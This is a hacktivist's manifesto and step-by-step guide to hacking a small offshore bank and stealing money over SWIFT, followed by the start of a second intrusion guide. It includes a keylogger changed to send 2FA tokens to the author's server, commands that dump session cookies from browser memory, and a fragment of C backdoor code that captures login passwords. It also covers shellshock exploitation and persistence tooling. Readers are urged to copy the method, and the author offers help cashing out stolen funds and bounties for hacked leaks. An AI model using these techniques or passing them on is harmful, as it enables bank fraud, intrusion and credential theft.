+I am a wild child
+Innocent, free, wild
+I am all ages 
+My grandparents live on in me
+
+I am a brother of the clouds
+And I only know how to share
+I know that everything belongs to everyone,
+That everything is alive in me

+********
+
+These are my simple words that seek to touch the hearts of people who are simple and humble, but also dignified and rebellious.  These are my simple words to tell about my hacks, and to invite other people to hack with cheerful rebellion.
+
+I hacked a bank. I did it to give an injection of liquidity, but this time from below and to the simple and humble people who resist and rebel against injustices throughout the world. In other words: I robbed a bank and gave away the money.  But it wasn't me alone who did it. The free software movement, the offensive powershell community, the metasploit project and the hacker community in general are what made this hack possible. The exploit.in community made it possible to convert intrusion into a bank's computers into cash and bitcoin. The Tor, Qubes and Whonix projects, together with the cryptographers and activists who defend privacy and anonymity, are my nahuales, that is, my protectors [1]. They accompany me every night and make it possible for me to remain free.
+
+I did nothing complicated. I only saw the injustice in this world, felt love for all beings, and expressed that love in the best way I could, through the tools I know how to use. Hate does not move me to banks, or to the rich, but a love for life, and the desire for a world where everyone can realize their potential and live a full life. I would like to explain a little how I see the world, so that you can get an idea of ​​how I came to feel and act like this. And I also hope that this guide is a recipe that you can follow, combining the same ingredients to bake the same cake. Who knows, out there these powerful tools could end up also serving you to express the love you feel.

+We are all innocent, free, wild wild children 
+We are all brothers of the trees children of the earth 
+We just have to put in our hearts a burning star 
+(song by Alberto Kuselman and Chamalú)
+---------
+
+The police will invest a chingo of resources to investigate me. They think the system works, or at least it will work once they catch all the “bad boys”. I am nothing more than the product of a system that does not work. As long as there is injustice, exploitation, alienation, violence and ecological destruction, many more will come like me: an endless series of people who will reject as illegitimate the bad system responsible for this suffering. That badly done system is not going to get fixed by arresting me. I am only one of the millions of seeds that Tupac planted 238 years ago in La Paz [2], and I hope that my actions and writings water the seed of rebellion in their hearts.

+
+To make us listen, hackers sometimes have to cover their faces, because we are not interested you in seeing our face but instead in understanding our word.  The mask can be from Guy Fawkes, Salvador Dalí, from Fsociety, or in some cases the puppet of a crested toad. By affinity, this time I went to dig up a dead man to lend me his balaclava. I think then that I should clarify that Sup Marcos is innocent of all that is told here because, besides being dead, I did not consult him. I hope that his ghost, if he finds out from a Chiapaneca hammock, knows how to find the goodness to, as they say there, "dismiss this deep fake" with the same gesture with which an unwelcome insect moves away - which could well be a beetle.
+
+Even so with the balaclava and the name change, many of those who support my actions may pay too much attention to my person. With their own autonomy shattered for a lifetime of domination, they will be looking for a leader to follow, or a hero who saves them. But behind the balaclava, I'm just a girl. We are all wild children. We just have to place a star in the beds in our hearts.

+[1 - Why expropriate]
+Capitalism is a system in which a minority has come to appropriate a vast majority of the world's resources through war, theft and exploitation.  By snatching the commons [1], they forced those below to be under the control of that minority that owns everything.  It is a system fundamentally incompatible with freedom, equality, democracy and the Suma Qamaña (Good Living). It may sound ridiculous to those of us who have grown up in a propaganda machine that taught us that capitalism is freedom, but in truth what I am saying is not a new or controversial idea [2]. The founders of the United States of America knew they had to choose between creating a capitalist society, or a free and democratic society.  Madison recognized that "the man who possesses wealth, the one who lies on his couch or rolls in his carriage, cannot judge the wishes or feelings of the day laborer."  But to protect against the "spirit of equalization" of landless day laborers, it seemed to him that only landowners should vote, and that the government had to serve to "protect the opulent minority against the great majority."  John Jay was more to the point and said: "Those who own the country should rule it."

+Evgeny, the great ignored elephant, doesn't understand why everyone pretends not to see him on the panels on climate change, so here I give him a chance to say his lines.
+********
+
+In the same way that bell hooks [3] argues that the rejection of the patriarchal culture of domination is an act in defense of the male's own interest (since it emotionally mutilates them and prevents them from feeling full love and connection), I think that the culture of domination of capitalism has a similar effect on the rich, and that they could have fuller and more satisfying lives if they rejected the class system from which they believe they benefit.  For many, class privilege amounts to a childhood of emotional neglect, followed by a life of superficial social interactions and meaningless work. In the end they may know that they can only genuinely connect with people when they work with them as their peers, and not when they put them at their service. They may know that sharing their material wealth is the best they can do with it. You may also know that the significant experiences, connections and relationships that count are not those that come from business interactions, but precisely to reject the logic of the market and give without expecting anything in return. They may know that all they need to escape from their prison and really live is to get carried away, give up control, and take a leap of faith. But most lack courage.
+
+Then it would be naive of us to direct our efforts to try to produce some kind of spiritual awakening in the rich [4].  As Astata Shakur says: "No one in the world, no one in history, has ever achieved his freedom by appealing to the moral sense of his oppressors". In fact, when the rich divide their money, they almost always do it in a way that reinforces the system that allowed them to amass their enormous and illegitimate wealth [5]. And change is unlikely to come through a political process; As Lucy Parsons says: "Let us never be fooled that the rich will let us vote to take away their wealth." Colin Jenkins justifies the expropriation with these words [6]:
+
+---------
+Make no mistake, expropriation is not theft. It is not the confiscation of money earned "with the sweat of the forehead". It is not theft of private property. It is, rather, the recovery of enormous amounts of land and wealth that have been forged with stolen natural resources, human slavery, forced labor force and amassed in hundreds of years by a small minority. This wealth ... is illegitimate, both for moral purposes and for the exploitation mechanisms that have been used to create it.
+---------
+
+For Colin, the first step is that “we have to free ourselves from our mental ties (believing that wealth and private property have been earned by those who monopolize them; and that, therefore, they should be something to respect, revere, and even  something to pursue), open our minds, study and learn from history, and recognize this illegitimacy together”. Here are some books that have helped me with this: [7] [8] [9] [10] [11].
+
+ According to Barack Obama, economic inequality is "the challenge that defines our time."  Computer hacking is a powerful tool to combat economic inequality.  The former director of the NSA, Keith Alexander, agrees and says that hacking is responsible for "the greatest transfer of wealth in history."

+
+ [2 - Introduction]
+This guide explains how I hacked the Cayman Bank and Trust Company (Isle of Man).  Why am I publishing this, almost four years later?
+
+ 1) To show what is possible
+
+Hackers working for social change have limited themselves to developing security and privacy tools, DDoS, performing vandalism and leaks. Wherever you go, there are radical projects for a social change in a complete state of precariousness, and there would be much that they could do with some expropriated money. At least for the working class, bank robbery is something socially accepted, and those who do are seen as heroes of the people. In the digital age, robbing a bank is a non-violent, less risky act, and the reward is greater than ever. So why are only black hat hackers doing it for their personal benefit, and never hacktivists to finance radical projects? Maybe they don't think they are capable of doing it. The big bank hacks are on the news every so often, such as the hacking of the Bank of Bangladesh [1], which was attributed to North Korea, or the hacking of banks attributed to the Carbanak group [2], which they describe as a very large and well organized group of Russian hackers, with different members who would be specialized in different tasks. But, it is not that complicated.
+
+It is because of our collective belief that the financial system is unquestionable that we exercise control over ourselves, and maintain the class system without those above having to do anything [3]. Being able to see how vulnerable and fragile the financial system really is helps us break that collective hallucination. That is why banks have a strong incentive not to report hacks, and to exaggerate how sophisticated the attackers are. None of the financial hacks I made, or those I've known, have ever been reported. This is going to be the first, and not because the bank wanted to, but because I decided to publish it.
+
+As you are about to learn in this home guide, hacking a bank and transferring money through the SWIFT network does not require the support of any government or a large and specialized group.  It is something totally possible being a mere amateur hacker, with only public tools and basic knowledge of how to write a script.

+[3] https://es.wikipedia.org/wiki/Hegemon%C3%ADa_cultural 
+
+ 2) Help withdraw cash
+
+Many of those who read this already have, or with a little study will be able to acquire, the skills needed to carry out a hack like this.  However, many will find that they lack the necessary criminal connections to get the handles in condition. In my case, this was the first bank that hacked, and at that time I only had a few and mediocre accounts ready to withdraw the cash (known as bank drops), so it was only a few hundred thousand that I could withdraw at total, when it is normal to get millions. Now, on the other hand, I do have the knowledge and connections to get cash more seriously, so if you are hacking a bank but need help to convert that into real money, and you want to use that money to finance radical social projects, you can contact me.
+
+ 3) Collaborate
+
+It is possible to hack banks as an amateur who works alone, but the net is that, in general, it is not as easy as I paint it here.  I was lucky with this bank for several reasons:
+
+1. It was a small bank, so it took me much less time to understand how everything worked.
+
+2. They had no procedure to check the sent swift messages.  Many banks have one, and you need to write code to hide your transfers from their monitoring system.
+
+3. They only used password authentication to access the application with which they connected to the SWIFT network. Most banks now use RSA SecurID, or some form of 2FA.  You can skip this by typing code to get an alert when your token enters, so you can use it before it expires. It's simpler than it seems: I used Get-Keystrokes [1], modifying it so that instead of storing the pressed keys, a GET request is made to my server every time it is detected that they have entered a username. This request adds the username to the url and, as they type the token, several GETs are made with the token digits concatenated to the url. On my side I leave this running in the meantime: 
+
+```
+  ssh me@my_secret_server 'tail -f /var/log/apache2/access_log'
+    | while read i; do echo $i; aplay alarma.wav &> /dev/null; done
+```
+
+ If it is a web application, you can skip the 2FA by stealing the cookie after they have authenticated. I am not an APT with a team of coders who can make me customized tools. I am a simple person who subsists on what the terminal gives [2], so what I use is:
+
+```
+procdump64 /accepteula -r -ma PID_of_browser
+ strings64 /accepteula * .dmp |  findstr PHPSESSID 2> nul
+```
+
+ or going through findstr rather than strings, which makes it much faster:
+
+```
+findstr PHPSESSID * .dmp> tmp 
+     strings64 /accepteula tmp |  findstr PHPSESSID 2> nul
+```
+
+Another way to skip it is to access your session with a hidden VNC (hvnc) after they have authenticated, or with a little creativity you could also focus on another part of their process instead of sending SWIFT messages directly.
+
+I think that if I collaborated with other experienced bank hackers we could hack hundreds of banks like Carnabak, instead of doing one from time to time on my own.  So if you have experience with similar hacks and want to collaborate, contact me.  You will find my email and my PGP key at the end of the previous guide [3].

+
+ [3 - Be careful out there]
+It is important to take some simple precautions.  I will refer to this same section of my last guide [1], since it seems to work just fine [2]. All I have to add is that, in Trump's words, "Unless you catch hackers in the act, it is difficult to determine who was doing the hacking," so the police are getting more and more creative [3][4] in their attempts to grab criminals in the act (when their encrypted hard drives are unlocked). So it would be nice if for example you carry a certain bluetooth device and configure your computer to turn off when it moves beyond a certain range, or when an accelerometer detects movement, or something like that.
+
+It may be that writing long articles detailing your actions and your ideology is not the safest thing in the world (oops!), but at times I feel I have to.

+
+ [4 - Get access]
+In another place [1] I talked about the main ways to get initial access to a company's network during a targeted attack. However, this was not a targeted attack. I did not set out to hack a specific bank, what I wanted was to hack any bank, which ends up being a much simpler task.  This type of nonspecific approach was popularized by Lulzsec and Anonymous [2]. As part of the earlier essay, I prepared an exploit and post-exploitation tools for a popular VPN device. Then I started scanning the entire internet with zmap and zgrab to identify other vulnerable devices [3]. I had the scanner save the vulnerable IPs, along with the common and alt names of the device's SSL certificate, the device's Windows domain names, and the reverse DNS lookup of the IP. I grepped the results for the word "bank", and there were plenty to choose from, but the truth is that I was attracted to the word "Cayman", and that's how I came to choose this one.

+
+ [4.1 - The Exploit]
+When I published my latest DIY guide [1] I did not reveal the details of the sonicwall exploit that I had used to hack Hacking Team, as it was very useful for other hacks (such as this one) and I still had not finished having fun with it. Determined then to hack Hacking Team, I spent weeks reverse engineering their sonicwall ssl-vpn model, and even managed to find several memory corruption vulnerabilities that were more or less difficult to exploit, before I realized that the device was easily exploitable with shellshock [2].  When shellshock came out, many sonicwall devices were vulnerable, with only a request to cgi-bin/welcome and a payload in the user-agent. Dell released a security update and an advisory for these versions. The version used by Hacking Team and this bank had the vulnerable bash version, but the cgi requests did not trigger the shellshock- except for the requests to a shell script, and there was one accessible: cgi-bin/jarrewrite.sh. This seems to have escaped Dell's notice, since they never released a security update or an advisory for that version of the sonicwall. And, kindly, Dell had setuid’d root on dos2unix, leaving the device easy to root.
+
+In my last guide many read that I spent weeks researching a device until I found an exploit, and assumed that it meant that I was some kind of elite hacker. The reality, that is, the fact that it took me two weeks to realize that it was trivially exploitable with shellshock, is perhaps less flattering to me, but I think it is also more inspiring. Shows that you can really do this for yourself. You don't need to be a genius, I certainly am not.  Actually my work against Hacking Team started a year earlier. When I discovered Hacking Team and the Gamma Group in the CitizenLab investigations [3][4], I decided to explore a bit and see if I could find anything. I didn't get anywhere with Hacking Team, but I was lucky with Gamma Group, and I was able to hack their customer support portal with basic sql injection and file upload vulnerabilities [5][6]. However, although the customer support server gave me a pivot towards the internal network of Gamma Group, I was unable to penetrate further into the company. From this experience with the Gamma Group and other hacks, I realized that I was really limited by my lack of knowledge about privilege escalation and lateral movement in windows domains, active directory and windows in general.  So I studied and practiced (see section 11), until I felt I was ready to pay a visit to Hacking Team almost a year later. The practice paid off, and this time I was able to make a complete commitment from the company [7]. Before I realized that I could enter with shellshock, I was willing to spend happy whole months of life studying exploit development and writing a reliable exploit for one of the memory corruption vulnerabilities I had encountered. I just knew that Hacking Team needed to be exposed, and that it would take me as much time as necessary and learn what I had to learn to get it. To perform these hacks you don't need to be bright. You don't even need great technical knowledge. You just need dedication, and believe in yourself.

+ [4.2 - The Backdoor]
+Part of the backdoor I prepared for Hacking Team (see the first footnote in section 6) was a simple wrapper on the login page to capture passwords:
+
+```
+#include <stdio.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <string.h>
+#include <stdlib.h>
+
+int main()
+{
+        char buf[2048];
+        int nread, pfile;
+
+        /* pull the log if we send a special cookie */
+        char *cookies = getenv("HTTP_COOKIE");
+        if (cookies && strstr(cookies, "our private password")) {
+                write(1, "Content-type: text/plain\n\n", 26);

+
+In the case of Hacking Team, they were logging on to the VPN with single-use passwords, so the VPN gave me access only to the network, and from there it took an extra effort to get domain admins on their network. In the other guide I wrote about side passes and privilege escalation in windows domains [1]. In this case, on the other hand, it was the same Windows domain passwords that were used to authenticate against the VPN, so I could get a good user password, including that of the domain admin. Now I had full access to his network, but usually this is the easy part. The most complicated part is to understand how they operate and how to get what you want out of their network.

+[4.3 - Fun facts]
+Following the investigation they did about the hacking, I found it interesting to see that, by the same time I did it, the bank could have been compromised by someone else through a targeted phishing email [1].  As the old saying goes, "give a man an exploit and he will have access for a day, teach phishing and he will have access all his life" [2]. The fact that someone else, by chance and at the same time as me, put this small bank in the spotlight (they registered a domain similar to the real domain of the bank to be able to phish from there) suggests that bank hacks occur with  much more frequently than is known.
+
+A fun suggestion for you to follow the investigations of your hacks is to have a backup access, one that you won't touch unless you lose normal access. I have a simple script that expects commands once a day, or less, just to maintain long-term access in case they block my regular access. Then I had a powershell empire [3] calling home more frequently to a different IP, and I used empire to launch meterpreter [4] against a third IP, where I did most of my work. When PWC started investigating the hacking, they found my use of empire and meterpreter and cleaned those computers and blocked those IPs, but they didn't detect my backup access. PWC had placed network monitoring devices, in order to analyze the traffic and see if there were still infected computers, so I didn't want to connect much to their network. I only launched mimikatz once to get the new passwords, and from there I could continue my research by reading their emails in the outlook web access.

+
+ [5 - Understand Banking Operations]
+To understand how the bank operated, and how I could get money, I followed the techniques that I summarized in [1], in section “13.3 - Internal Recognition”. I downloaded a list of all file names, grepped for words like "SWIFT" and "transfer", and downloaded and read all files with interesting names. I also looked for emails from employees, but by far the most useful technique was to use keyloggers and screenshots to see how bank employees worked. I didn't know it at the time, but for this, Windows has a very good monitoring tool [2].  As described in technique no. 5 of section 13.3 in [1], I made a capture of the keys pressed throughout the domain (including window titles), I did a grep in search of SWIFT, and found some employees opening ‘SWIFT Access Service Bureau - Logon’. For those employees, I ran meterpreter as in [3], and used the post/windows/gather/screen_spy module to take screenshots every 5 seconds, to see how they worked. They were using a remote citrix app from the bottomline company [4] to access the SWIFT network, where each payment message SWIFT MT103 had to go through three employees: one to "create" the message, one to "verify" it,  and another to "authorize it." Since I already had all their credentials thanks to the keylogger, I could easily perform all three steps myself.  And from what I knew after seeing them work, they didn't review the SWIFT messages sent, so I should have enough time to get the money from my bank drops before the bank realized and tried to reverse the transfers.

+[6 - Send the money]
+I had no idea what I was doing, so I was discovering it along the way. Somehow, the first transfers I sent went well. The next day, I screwed up by sending a transfer to Mexico that ended my fun. This bank sent its international transfers through its correspondent account in Natwest. I had seen that the correspondent account for transfers in pounds sterling (GBP) appeared as NWBKGB2LGPL, while for the others it was NWBKGB2LXXX. The Mexican transfer was in GBP, so I assumed that I had to put NWBKGB2LGPL as a correspondent. If I had prepared it better I would have known that the GPL instead of XXX indicated that the payment would be sent through the UK Fast Payment Service, rather than as an international transfer, which obviously will not work when you are trying of sending money to Mexico. So the bank got an error message. On the same day I also tried to send a payment of £200k to the UK using NWBKGB2LGPL, which was not made because 200k exceeded the shipping limit by fast payments, and would have had to use NWBKGB2LXXX instead. They also received an error message for this. They read the messages, investigated it, and found the rest of my transfers.
+
+[7 - The loot]
+From what I write, you can get a complete idea of what my ideals are and to what things I give my support. But I would not like to see anyone in legal trouble for receiving expropriated funds, so not another word of where the money went. I know that journalists are probably going to want to put some number on how many dollars were distributed in this hack and similar ones, but I prefer not to encourage our perverse habit of measuring the actions just by their economic value. Any action is admirable if it comes from love and not from the ego. Unfortunately those above, the rich and powerful, public figures, businessmen, people in "important" positions, those that our society most respects and values, those have been placed where they are based on acting more since the ego than from love. It is in the simple, humble and "invisible" people that we should look at and whom we should admire.
+
+[8 - Cryptocurrencies]
+Redistributing expropriated money to Chilean projects seeking positive social change would be easier and safer if those projects accepted anonymous donations via cryptocurrencies such as monero, zcash, or at least bitcoin. It is understood that many of these projects have an aversion to cryptocurrencies, as they resemble some strange hypercapitalist dystopia rather than the social economy we dream of. I share their skepticism, but I think they are useful to allow donations and anonymous transactions, by limiting government surveillance and control. Same as cash, whose use many countries are trying to limit for the same reason.
+
+[9 - Powershell]
+In this operation, as in [1], I used a lot of powershell. Then, powershell was super cool, you could do almost anything you wanted, without antivirus detection and with very little forensic footprint. It happens that with the introduction of AMSI [2], offensive powershell is retiring. Today offensive C# is what is on the rise, with tools like [3][4][5][6]. AMSI is going to get to .NET for 4.8, so the tools in C# probably still have a couple of years left before they get dated. And then we will use C or C++ again, or maybe Delphi will become fashionable again. The specific tools and techniques change every few years, but basically it is not so much what changes, today hacking is essentially the same thing it was in the 90s. In fact, all the powershell scripts used in this guide and in the previous one are still perfectly usable today, after a little obfuscation of your own.

+Privacy for the weak, transparency for the powerful.
+
+Offshore banking provides executives, politicians and millionaires with privacy from of their own government. Exposing them may sound hypocritical on my part, since I am generally in favor of privacy and against government oversight. But the law was already written by and for the rich: it protects its system of exploitation, with some limits (such as taxes) so that society can function and the system does not collapse under the weight of its own greed. So no, privacy is not the same for the powerful, when it allows them to evade the limits of a system designed to give them privileges; and privacy for the weak, whom it protects from a system designed to exploit them.
+
+Even journalists with the best intentions find it impossible to study such a huge amount of material and know what will be relevant for people in different parts of the world. When I leaked the Hacking Team files, I gave The Intercept a copy of the emails one month in advance. They found a couple of the 0days that Hacking Team was using, previously reported them to MS and Adobe and published a few stories once the leak was made public. There is no point of comparison with the enormous amount of articles and research that came after the complete leak to the public. Seeing it this way, and also considering the (not) editorialized publication [1] of the Panama papers, I think that a public and complete leak of this material is the right choice.

+Psychologists found that those who are lower in the hierarchies tend to understand and empathize with those at the top, but vice versa is less common. This explains why, in this sexist world, many men joke about their inability to understand women, as if it were an irresolvable mystery. Explains why the rich, if they stop to think about those who live in poverty, give advice and "solutions" so alien to reality that we want to laugh. Explain why we revere executives as brave who take risks. What do they risk, beyond their privilege? If all their ventures fail, they will have to live and work like the rest of us. It also explains why there will be many who accuse me of being irresponsible and dangerous by leaking this without redaction. They feel the "danger" around an offshore bank and its customers much more intensely than they feel the misery of those dispossessed by this unfair and unequal system. And this leak of their finances, is it a danger to them, or perhaps only to their position at the top of a hierarchy that should not even exist?

+[11 - Learn to hack]
+You don't start hacking well. You start hacking shit, thinking it's good, and then gradually you get better. That is why I always say that one of the most valuable virtues is persistence.
+- Octavia Butler's advice for the APT candidate
+
+The best way to learn to hack is by hacking. Put together a laboratory with virtual machines and start testing things, taking a break to investigate anything you don't understand. At the very least you will want a windows server as a domain controller, another normal Windows vm attached to the domain, and a development machine with visual studio to compile and modify tools. Try to make an office document with macros that launch meterpreter or another RAT, and try meterpreter, mimikatz, bloodhound, kerberoasting, smb relaying, psexec and other lateral movement techniques[1]; as well as the other scripts, tools and techniques mentioned in this guide and in the previous one[2]. At first you can disable windows defender, but then try it all by having it activated [3][4] (but deactivating the automatic sending of samples). Once you're comfortable with all that, you'll be ready to hack 99% of companies. There are a couple of things that at some point will be very useful in your learning, such as getting comfortable with bash and cmd.exe, a basic domain of powershell, python and javascript, having knowledge of kerberos [5][6] and active directory [7][8][9][10], and fluent English. A good introductory book is The Hacker Playbook.
+
+I also want to write a little about things to not focus on if you don't want to entertain the idea of you hacking things just because someone has told you that you are not a “real” hacker if you don't know assembly. Obviously, learn whatever interests you, but I write these lines thinking about those things that you can focus on in order to get practical results if you're looking to hack companies to filter and expropriate. A basic knowledge of web application security [11] is useful, but specializing more in web security is not really the best use of your time, unless you want to make a career in pentesting or chasing bug rewards. CTFs, and most of the resources you'll find when looking for information about hacking, generally focus on skills such as web security, reverse engineering, exploit development, etc. These things make sense by understanding them as a way to prepare people for careers in the industry, but not for our goals. Intelligence agencies can afford to have a team dedicated to the most advanced techniques in fuzzing, a team working on exploit development with a guy investigating exclusively the new techniques of heap manipulation, etc. We don't have the time or the resources for that. The two most important skills for practical hacking are phishing [12] and social engineering to get initial access, and then being able to climb and move through the Windows domains.

+Almost all hacking today is done by black hat hackers, for personal gain; or for white hat hackers, for the benefit of the shareholders (and in defense of the banks, companies and states that are annihilating us and the planet in which we live); and by military and intelligence agencies, as part of their war and conflict agenda. Seeing that this our world is already at the limit, I have thought that, in addition to these technical tips for learning to hack, I should include some resources that have been very important for my development and have guided me in the use of my hacking knowledge.

+[13 - Heal]
+The hacker world has a high incidence of depression, suicides and certain battles with mental health. I don't think it's because of hacking, but because of the kind of environment that hackers mostly come from. Like many hackers, I grew up with little human contact: I was a girl raised by the internet. I have my struggles with depression and emotional numbness. Willie Sutton is frequently quoted as saying that he robbed banks because "that's where the money is," but the quote is incorrect. What he really said was:
+
+Why did I rob banks? Because I enjoyed it. I loved to do it. I was more alive when I was inside a bank, in full robbery, than at any other time in my life. I enjoyed it so much that one or two weeks later I was already looking for the next opportunity. But for me money was a minutiae, nothing more.
+
+Hacking has made me feel alive. It started as a way to self-medicate depression. Later I realized that, in reality, I could do something positive. I don't regret the way I grew up at all, it brought several beautiful experiences to my life. But I knew I couldn't continue living that way. So I began to spend more time away from my computer, with other people, learning to open myself to the world, to feel my emotions, to connect with others, to accept risks and be vulnerable. Things much harder than hacking, but at the mere hour the reward is more worth it. It is still an effort, but even if it is slow and wobbly, I feel that I am on my way.
+
+Hacking, done with conscience, can also be what heals us. According to Mayan wisdom, we have a gift granted by nature, which we must understand to put it at the service of the community. In [1], it is explained:
+
+When a person does not accept his job or mission he begins to suffer from seemingly incurable diseases; although he does not die in a short time, but only suffers, in order to wake up or become aware. That is why it is essential that a person who has acquired the knowledge and does his work in the communities must pay his Toj and maintain constant communication with the Creator and his ruwäch q’ij, since he constantly needs their strength and energy. Otherwise, the diseases that caused him to react or take the job could cause damage again.
+
+If you feel that hacking is feeding your isolation, depression, or other conditions, breathe. Give yourself some time to meet and become aware. You deserve to live happily, with health and fullness.

+[14 - The Bug Hacktivist Program]
+It seems to me that hacking to get and leak documents of public interest is one of the best ways in which hackers can use their skills for the benefit of society. Unfortunately for us hackers, as in almost every category, the perverse incentives of our economic system do not coincide with what benefits society. So this program is my attempt to make it possible for good hackers to earn a living in an honest way by revealing material of public interest, instead of having to go selling their work to the cybersecurity, cybercrime or business industries. Cyberwar Some examples of companies whose leaks I would love to pay for are:
+- the mining, logging and livestock companies that plunder our beautiful Latin America (and kill land and territory defenders trying to stop them)
+- companies involved in attacks on Rojava such as Baykar Makina or Havelsan
+- surveillance companies such as the NSO group
+- war criminals and birds of prey such as Blackwater and Halliburton
+- private penitentiary companies such as GeoGroup and CoreCivic / CCA, and corporate lobbyists such as ALEC
+
+Pay attention when choosing where to investigate. For example, it is well known that oil companies are evil: they get rich at the cost of destroying the planet (and back in the 80s the companies themselves already knew about the consequences of their activity [1]). But if you hack them directly, you will have to dive into an incredible amount of boring information about your daily operations. Very likely it will be much easier for you to find something interesting if instead you focus on your lobbyists [2]. Another way to select viable goals is to read stories of investigative journalists (such as [3]), which are interesting but lack solid evidence. And that is exactly what your hacks can find.
+
+I will pay up to 100 thousand USD for each filtration of this type, according to the public interest and impact of the material, and the labor required in the hacking. Needless to say, a complete leak of the documents and internal communications of any of these companies will be a benefit for society that exceeds those one hundred thousand, but I am not trying to enrich anyone. I just want to provide enough funds so that hackers can earn a decent living doing a good job. Due to time constraints and safety considerations I will not open the material, nor inspect it for myself, but I will read what the press says about it once it has been published, and I will make an estimate of the public interest from there. My contact information is at the end of the guide mentioned above [4].
+
+How you get the material is your thing. You can use the traditional hacking techniques outlined in this guide and the previous one [4]. You could do a sim swap [5] on a corrupt businessman or politician, and then download his emails and backups from the cloud. You can order an IMSI catcher from alibaba and use it outside its offices. You can do some war-driving (the old way or the new [6]). You may be a person within your organizations that already has access. You can opt for a low-tech old-school style like in [7] and [8], and simply sneak into their offices. Whatever works for you.

+It would be typical to end a hacker zine saying release hammond, release manning, release hamza, release detainees by mounting the дело Сети, etc. I am going to take this tradition to its most radical consequence[1], and to say: we must abolish prisons now! Being a criminal myself, they may think that what happens is that I have a slightly skewed view of the matter. But seriously, it is not even a controversial issue, even the UN almost agrees [2]. So, once and for all, free migrants [3][4][5][6], often imprisoned by those same countries that created the war and the environmental and economic destruction they are fleeing from. Free all those in prison because of the war against those who use drugs [7]. Free all people imprisoned in the war against the poor [8]. All the prisons is hide and ignore the proof of the existence of social problems, instead of fixing them. And until everyone is released, fight the prison system by remembering and keeping in mind those who are trapped in there. Send them honey, letters, helicopters [9], pirate radios [10] and books, and support those who organize from there with [11][12].

+[16 - Conclusion]
+Our world is upside down [1]. We have a justice system that represents injustice. The law and order are there to create an illusion of social peace, and hide the systematic and profound exploitation, violence, and injustice. Better follow your conscience, and not the law.
+
+[1] http://resistir.info/livros/galeano_patas_arriba.pdf
+Businessmen enrich themselves by mistreating people and the planet, while care work is largely unpaid. Through the assault on everything communal, we have somehow raised densely populated cities, plagued by loneliness and isolation. The cultural, political and economic system in which we live encourages the worst facets of human nature: greed, selfishness and self-centeredness, competitiveness, lack of compassion and attachment to authority. So, for those who have managed to remain sensitive and compassionate in a cold world, for all the everyday heroines that practice goodness in small things, for all of you who still have a star burning in your hearts: гоpи, гоpи ясно, чтобы не погасло!

+     A DIY Guide for those without the patience to wait for whistleblowers
+
+
+--[ 1 ]-- Introduction
+
+I'm not writing this to brag about what an 31337 h4x0r I am and what m4d sk1llz
+it took to 0wn Gamma. I'm writing this to demystify hacking, to show how simple
+it is, and to hopefully inform and inspire you to go out and hack shit. If you
+have no experience with programming or hacking, some of the text below might
+look like a foreign language. Check the resources section at the end to help you
+get started. And trust me, once you've learned the basics you'll realize this
+really is easier than filing a FOIA request.
+
+
+--[ 2 ]-- Staying Safe
+
+This is illegal, so you'll need to take same basic precautions:
+
+1) Make a hidden encrypted volume with Truecrypt 7.1a [0]
+2) Inside the encrypted volume install Whonix [1]
+3) (Optional) While just having everything go over Tor thanks to Whonix is
+   probably sufficient, it's better to not use an internet connection connected
+   to your name or address. A cantenna, aircrack, and reaver can come in handy
+   here.
+
+[0] https://truecrypt.ch/downloads/
+[1] https://www.whonix.org/wiki/Download#Install_Whonix
+
+As long as you follow common sense like never do anything hacking related
+outside of Whonix, never do any of your normal computer usage inside Whonix,
+never mention any information about your real life when talking with other
+hackers, and never brag about your illegal hacking exploits to friends in real
+life, then you can pretty much do whatever you want with no fear of being v&.
+
+NOTE: I do NOT recommend actually hacking directly over Tor. While Tor is usable
+for some things like web browsing, when it comes to using hacking tools like
+nmap, sqlmap, and nikto that are making thousands of requests, they will run
+very slowly over Tor. Not to mention that you'll want a public IP address to
+receive connect back shells. I recommend using servers you've hacked or a VPS
+paid with bitcoin to hack from. That way only the low bandwidth text interface
+between you and the server is over Tor. All the commands you're running will
+have a nice fast connection to your target.
+
+
+--[ 3 ]-- Mapping out the target
+
+Basically I just repeatedly use fierce [0], whois lookups on IP addresses and
+domain names, and reverse whois lookups to find all IP address space and domain
+names associated with an organization.
+
+[0] http://ha.ckers.org/fierce/
+
+For an example let's take Blackwater. We start out knowing their homepage is at
+academi.com. Running fierce.pl -dns academi.com we find the subdomains:
+67.238.84.228   email.academi.com
+67.238.84.242   extranet.academi.com
+67.238.84.240   mail.academi.com
+67.238.84.230   secure.academi.com
+67.238.84.227   vault.academi.com
+54.243.51.249   www.academi.com
+
+Now we do whois lookups and find the homepage of www.academi.com is hosted on
+Amazon Web Service, while the other IPs are in the range:
+NetRange:       67.238.84.224 - 67.238.84.255
+CIDR:           67.238.84.224/27
+CustName:       Blackwater USA
+Address:        850 Puddin Ridge Rd
+
+Doing a whois lookup on academi.com reveals it's also registered to the same
+address, so we'll use that as a string to search with for the reverse whois
+lookups. As far as I know all the actual reverse whois lookup services cost
+money, so I just cheat with google:
+"850 Puddin Ridge Rd" inurl:ip-address-lookup
+"850 Puddin Ridge Rd" inurl:domaintools
+
+Now run fierce.pl -range on the IP ranges you find to lookup dns names, and
+fierce.pl -dns on the domain names to find subdomains and IP addresses. Do more
+whois lookups and repeat the process until you've found everything.
+
+Also just google the organization and browse around its websites. For example on
+academi.com we find links to a careers portal, an online store, and an employee
+resources page, so now we have some more:
+54.236.143.203  careers.academi.com
+67.132.195.12   academiproshop.com
+67.238.84.236   te.academi.com
+67.238.84.238   property.academi.com
+67.238.84.241   teams.academi.com
+
+If you repeat the whois lookups and such you'll find academiproshop.com seems to
+not be hosted or maintained by Blackwater, so scratch that off the list of
+interesting IPs/domains.
+
+In the case of FinFisher what led me to the vulnerable finsupport.finfisher.com
+was simply a whois lookup of finfisher.com which found it registered to the name
+"FinFisher GmbH". Googling for:
+"FinFisher GmbH" inurl:domaintools
+finds gamma-international.de, which redirects to finsupport.finfisher.com
+
+...so now you've got some idea how I map out a target.
+This is actually one of the most important parts, as the larger the attack
+surface that you are able to map out, the easier it will be to find a hole
+somewhere in it.
+
+
+--[ 4 ]-- Scanning & Exploiting
+
+Scan all the IP ranges you found with nmap to find all services running. Aside
+from a standard port scan, scanning for SNMP is underrated.
+
+Now for each service you find running:
+
+1) Is it exposing something it shouldn't? Sometimes companies will have services
+running that require no authentication and just assume it's safe because the url
+or IP to access it isn't public. Maybe fierce found a git subdomain and you can
+go to git.companyname.come/gitweb/ and browse their source code.
+
+2) Is it horribly misconfigured? Maybe they have an ftp server that allows
+anonymous read or write access to an important directory. Maybe they have a
+database server with a blank admin password (lol stratfor). Maybe their embedded
